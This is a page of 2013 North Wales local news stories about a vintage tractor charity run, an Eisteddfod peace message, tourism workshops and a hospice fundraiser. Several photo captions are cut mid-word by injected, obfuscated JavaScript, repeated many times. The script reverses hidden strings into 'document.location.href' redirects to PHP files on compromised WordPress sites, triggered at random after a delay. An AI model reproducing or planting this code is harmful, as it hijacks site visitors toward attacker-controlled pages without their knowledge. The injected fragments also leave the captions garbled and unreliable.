Category: News

Vintage effort on tractors in Ruthin to raise cash for Wales Air Ambulance

Vale of Clwyd Vintage Run, Ruthin. Sponsor Mario Kreft direc$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tor of Pendine Park Care Organisation with organiser of the trac$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tor run, (L $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}to R) David Murfitt, Phil Rose, Aled Vaughan-Thomas, Robert Owen, Merfyn Parry, Maldwyn Williams and front Bryn Davies.

A group of vintage tractor enthusiasts went back to the future to raise money for charity.

Fifty vehicles dating back to the 1940s took part in the annual Vale of Clwyd Vintage Tractor Run.

They were waved off from the assembly point at the Ruthin Livestock Market by Mario Kreft MBE, proprietor of the award-winning Pendine Park care organisation who sponsored the event.

In six  years the organisers, the Vale of Clwyd Vintage Tractor Society, have now raised a total of more  than £15,000 for charity.

This year the proceeds are being shared between the Alzheimer’s Society and the Wales Air Ambulance .

Among those taking part was Dave Murfitt, from Llanrhaedr, near Denbigh, who has a personal reason for wanting to raise money for the Wales Air Ambulance.

Dave, 40, works as an IT Manager for Unilever and is responsible for the conglomerate’s mobile devices worldwide.

In his spare time he runs a smallholding and uses his 1969 David Brown 780  for harrowing and haymaking.

He explained: “About six years ago I fell off my horse and broke both my legs and I was rescued by the Wales Air Ambulance.

“It’s a fantastic service and farmers can live in pretty remote places so the Air Ambulance is our emergency service. It’s what we would rely on if we got stuck in the back of beyond.

“It is an essential service for us and there are lots of people here who live in places where a conventional ambulance simply wouldn’t get to them on time.

“One of the great things about vintage tractors is that you don’t need a seatbelt, the road tax is free.

“It’s just great fun and when you drive through a village and see lots of children and wave at you, there’s nothing better.”

The tractors embarked on 25 mile route,  on an off road,  up to Llyn Brenig for a picnic and then back to the Ruthin Livestock Market.

Committee member Bryn Davies explained: “From here we’re going up to Cyffylliog and we will see some fantastic view and we are very lucky that we have been given permission by Welsh Water to park up on the dam and have our lunch there.

“The oldest tractor is a grey wartime 1945 Fordson but we’re now urging people to start collecting diesel tractors from the 1970s.

“The tractors from the late 1940s and 50s are relatively cheap to buy and you can pick one up for around £300-£400.

“New tractors are so complicated and expensive and the nostalgia of vintage tractors is  a breath of fresh air.”

It was a sentiment echoed by fellow committee member and organiser Mark Young, whose day job is running the popular Denbigh Chocolate Shop.

Mark said: “This is a fantastically enjoyable event but it does have a serious side because we are raising money for two extremely worthy causes.

“We are very grateful to Mario for agreeing to step in and sponsor this year’s tractor run. His contribution is greatly appreciated.”

Mario Kreft, who lives in Denbigh, was delighted to be asked to act as the official starter for the tractor run.

He said: “It’s superb to see these lovely old tractors and their owners having so much fun. It’s wonderful day and they’ve been blessed with beautiful weather.

“These are difficult times for the charity sector but the Alzheimer’s Society and the Wales Air Ambulance have to be two of the top charities.

“Alzheimer’s is afflicting so many people and it’s a problem that is growing so we need to get as much money to look at research and what can be done.

“It goes without saying that the Wales Air Ambulance is a cause that must be close to all our hearts – you never know when you might need their help. It’s marvellous what they do.”

Wednesday June 19th, 2013

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News

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Schoolgirls send poignant message of world peace at Llangollen Eisteddfod

Milly Or$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}ton-Jones, 11, left and Hannah Hughes, 10 at the Eisteddfod Pavilion in Llangollen. The girls are reading out the traditional Peace Message on the first day of the festival.

Two talented schoolgirls have been given the honour of sending out the traditional Peace Message to the world from this year’s Llangollen International Musical Eisteddfod.

Since 1952, the young people of Llangollen have presented a Message of Peace and Goodwill from the stage of the Eisteddfod at concerts on the opening day.

At this year’s 67th annual Eisteddfod, which runs from July 9-14, two versions of the Message, one in the Welsh language and the other in English, will be movingly read out at separate concert performances in the Llangollen Pavilion on Children’s Day, Tuesday, July 9.

Both orations, at 10.30am and 12.30pm, will have audiences of around 2,000 primary school youngsters from across north Wales, and be accompanied by specially composed background music from the National Orchestra of Wales.

The poignant Message, part of which tells how “peace radiates like rays of sunshine touching people’s hearts”, has been specially written for the occasion by two year six pupils from Llangollen’s primary schools.

They are 11-year-old Millie Orton Jones from Ysgol Gwernant, who will read out the Message in the Welsh language, while the English translation will be proclaimed by 10-year-old Hannah Hughes from Ysgol Bryn Collen.

Mike Law, who is co-ordinator for outside stages at the Eisteddfod, said: “The original idea for this year’s Peace Message came after Llangollen Rotary Club held its own local version of a national Rotary competition, called Young Writer, which invited local children to pen a letter on the theme of peace.

“Millie and Hannah were the competition winners and it was agreed that their two separate entries – in Welsh and English – should be used in some way during the Peace Message concerts at the 2013 Eisteddfod.

“As the two pieces did not fit easily into the Peace Message format, the two girls were asked to write a second piece, specifically about Llangollen, the Eisteddfod and the theme of peace.

“The two pupils will read out their work live on stage as part of the Peace Message concerts.

“The National Orchestra of Wales will play specially chosen accompaniments as a background.

Millie Orton Jones, who will read out the Welsh language version, said: “I am looking forward very much to the concert and reading out the Peace Message which says how much the Eisteddfod means to the people of Llangollen.

“I have been a member of the Young ‘Uns, the local junior theatre group, for a few years and I am used to doing things in front of an audience so I don’t think I will be too nervous.

“I’m not worried about speaking the message in Welsh because I go to a Welsh medium school and am quite fluent in the language.”

Millie’s mum, Tessa Orton Jones, said: “We are very proud of her for being chosen for this honour and she is very excited about appearing in the concert.

“Llangollen Pavilion is a big stage but I don’t think Millie is too nervous about reading out the Peace Message as she is a seasoned performer with local stage group.”

Hannah Hughes, who will read the Peace Message in English, said: “I am very proud to have been chosen to read out the Peace Message.

“I have been in plays before at my school but never done anything in front of so many people as will be in the pavilion that day.

“I’m a little bit nervous I might get some of the words wrong but I’m sure we will be doing plenty of rehearsals before the concert to make sure we know the message as well as possible.”

Hannah’s mum, Jane Hughes, said: “We are really proud of her because this is a fantastic achievement.

“It is a once in a lifetime opportunity for a girl who lives in Llangollen to put herself and her school at the front of the Peace Message.”

Mike added: “Later in the Peace Message concert, pupils from Ysgol Morgan Llwyd in Wrexham will work in song and music from prompts in the writing, plus there will be a new poem written specially for the occasion by Aled Lewis Evans.”

He added: “The two girls will be guests of the Eisteddfod and will be introduced to senior officials, including our President Terry Waite, and well-known visitors.

“They will be performing before an audience of approximately 2,000 children at each concert, and the centre-piece of the Peace Message is a musical story about space exploration played by the National Orchestra of Wales.

“Using work by young children carries on the old tradition of broadcasting Welsh language children’s messages to the world which goes back to the early 1920s.”

Mr Law explained this was the first time this particular format for the Peace Message concert had been used and said: “The whole concept is exciting and different and the opportunity it provides for these two young girls to perform before an audience of 2,000 is exceptional.”

Tuesday June 18th, 2013

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News

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It makes sense to visit North Wales

Sense of Place Workshops around North Wales organised by Adrian Barsby with help from tu$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tor Ellen Llwyd.

A major campaign has been launched to use unique attractions like the Dee Estuary  and the chain of magnificent Norman castles in North Wales as a way of tempting more tourists.

As part of the drive, tourism businesses are being asked to highlight what makes their area even more special to visitors, including the Welsh language.

The Sense of Place initiative is being promoted by Tourism Partnership North Wales with a series of workshops being held across the region.

The wildlife-rich Dee Estuary, St Asaph’s athedral along with the historic castles of Caernarfon, Conwy and Beaumaris are already well-known crowd pullers.

But delegates attending the workshops run by a team of specialists were also asked to come up with their own ideas for less familiar places, events or experiences close to the Wales Coast Path which are guaranteed to create an impression with visitors.

The nine Sense of Place workshops, masterminded by business development and mentoring professionals Barsby Associates, were organised for local people connected with tourism in prime locations across the region.

They included sessions the Ffynnongroew, Rhuddlan,  Llanfairfechan, Barmouth, Aberdaron, Beaumaris, Trearddurd Bay,  Aberdyfi and Caernarfon.

Workshop organiser Adrian Barsby said: “The Wales Coast Path, which was opened in May, 2012, runs for 870 miles around the edge of the country and around half of it is in North Wales.

“In the past year it has been used by three million people and the aim of the all-day workshops is to capitalise on the path by attracting new business, improving average costumer spend and by literally creating a stronger Sense of Place.

“That means giving visitors a sense that a particular attraction, pastime or event here is the only place in the world where they can have that experience.

“People attending the workshops range from B&B owners and tour guides to garage forecourt attendants. They are the people who know their own area best and often they are the only people who are aware of something which would give it that unique sense of place.

“It might be that a B&B proprietor who does not provide an evening meal at their house could suggest a great place nearby for visitors to enjoy dinner, or where a music event or food festival is being held.

“It could even be telling a visitor where they can go to book a day’s sea fishing near to the Wales Coast Path.”

Adrian, who brings a wealth of experience in the tourism industry to bear on his role as workshop mentor including a spell as a director and shareholder of the Beaufort Park Hotel near Mold, added: “The whole purpose of Sense of Place is to get individuals working closely together with organisations for the benefit of the whole area and to get visitors to spend more time and money there.”

A strong theme running through the Sense of Place workshops was the Welsh language, according to Eleri Llwyd who also mentored at the sessions.

Welsh speaker Eleri runs a hospitality consultancy, has more than 20 years senior experience in hotels and restaurants in Wales and across Europe and is on the boards of both North Wales Tourism and the North Wales International Music Festival.

She said: “An important part of the message was to get over to delegates is that if people are able to understand just a few key words in Welsh – such as that ‘aber’ means mouth of a river – it will help them to get a sense of the places they visit.

Among the delegates to the workshop held at the Bulkeley Hotel in Beaumaris was Elaine Gill who has owned the Bryn Aethwy B&B in Menai Bridge, Anglesey, for the past four years.

She said: “I found it very inspirational and I will be using what I learned there to be more professional in the way I run my business.

“I realised I am already doing some of what was suggested, such as telling my guests they can’t leave the area without visiting one or more of the National Trust properties, such as Plas Newydd, Penrhyn Castle and Bodnant Gardens, which are all within easy reach of here.

“As a result of the workshop I also intend to make more of the fact that I use locally-sourced products like bacon and eggs in the breakfasts I serve and that I have a menu in English and Welsh.

“I do this because I think it is important to make my guests feel that they are in Wales.”

Monday June 17th, 2013

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Ping pong ball fundraiser in Denbigh to raise cash for St Asaph hospice

Denbigh Round Table raise funds for St Kentigern's St Asaph . Pictured is Gareth Hughes, Ian Bellingham Chief Executive at St Kentigern and Jackie Jeffery

More than a thousand ping pong balls will be bounced down a hill in aid of a hospice.

The Ball Drop is being organised Denbigh Round Table to raise cash for St Kentigern Hospice, in St Asaph, who support people with life limiting diseases.

The event will be held on Bull Lane, Denbigh, on Saturday, June 22 at 10am, before the Denbigh Carnival.

St Kentigern fundraiser Jackie Jeffrey knows first hand the difference the hospice makes to families after father Raymond Squire passed away at St Kentigern in 2006 following a stroke.

She said: “I can’t thank them enough for what they did for us as a family, and for what they did for my father.

“They gave him pain relief and all that sort of thing and he slowly went to sleep, and that was unbelievable.

“They gave him dignity and he just passed away not in pain, quietly, in a room with his family around him. The hospice does that little bit extra, at that particular time in your life when so much is going on.

“You don’t want your loved ones to die, but if you know that they are and that nothing else can be done, you want some peace and tranquillity and people that understand what you’re going through, and here at St Kentigern we give that.”

St Kentigern needs to raise £1.6 million each year. They receive 20 per cent of that from the Welsh Government but rely heavily on public support for the rest.

The hospice, based in St Asaph, serves the communities of North Wales throughout Denbighshire, Conwy, and Flintshire.

Denbigh Round Table fundraiser Gareth Hughes said: “I am very excited about the ball drop. It’s going to be a lot of fun and it’s for a great cause.

“St Kentigern provides a vital service and supports families in the area at a time they most need it, and if they weren’t here it just wouldn’t happen.

“The support from the town for the event has been fantastic. Various places in Denbigh are selling the balls for us, such as the St Kentigern shop,  the Hand, Denbigh Chocolate Shop, E Jones & Sons, and the Glass Onion. It’s a massive help and we’re very grateful to them. St Kentigern is also selling the balls in their shops.

“It costs £1 to enter. The balls entered will be rolled from the top of Bull Lane and the owners of the first three to get to the bottom will win cash prizes. First prize is £100, second prize is £25, and third prize is £15.

“I haven’t been involved in the Ball Drop before but I’ve been told that it’s great fun.”

Gareth, who works for public relations company Ceidiog Communication, joined the Denbigh Round Table, which raises cash for local charities, just over a year ago.

He said: “We raise money for charities through things like the Denbigh Beer Festival and the Christmas float, and of course the Ball Drop.

“There’s a fantastic social side to the Round Table. Sometimes it’s just going out for a pint or a meal with the lads, but you also get the chance to try things you’ve never done before.

“For example, a few weeks ago we played wheelchair basketball. It was great fun. My hands were pretty sore afterwards though.”

St Kentigern chief executive Ian Bellingham said: “We are delighted that the Round Table has chosen to support St Kentigern.

“We’re always very grateful for the public support and it’s quite humbling to us that her get so much involvement from the local community, and we could not function without the support and the fundraising that the local community do for us.”

For more information about St Kentigern Hospice visit www.stkentigernhospice.org.uk or ring 01745 585221.

For more information about the Ball Drop contact Gareth Hughes at to:gareth@dev.ceidiog.com">gareth@dev.ceidiog.com, ring 07732955339 or visit www.denbigh.roundtable.co.uk

Balls can be bought from the St Kentigern shop, Hand public house, Denbigh Chocolate Shop, E Jones & Sons and The Glass Onion.

Monday June 17th, 2013

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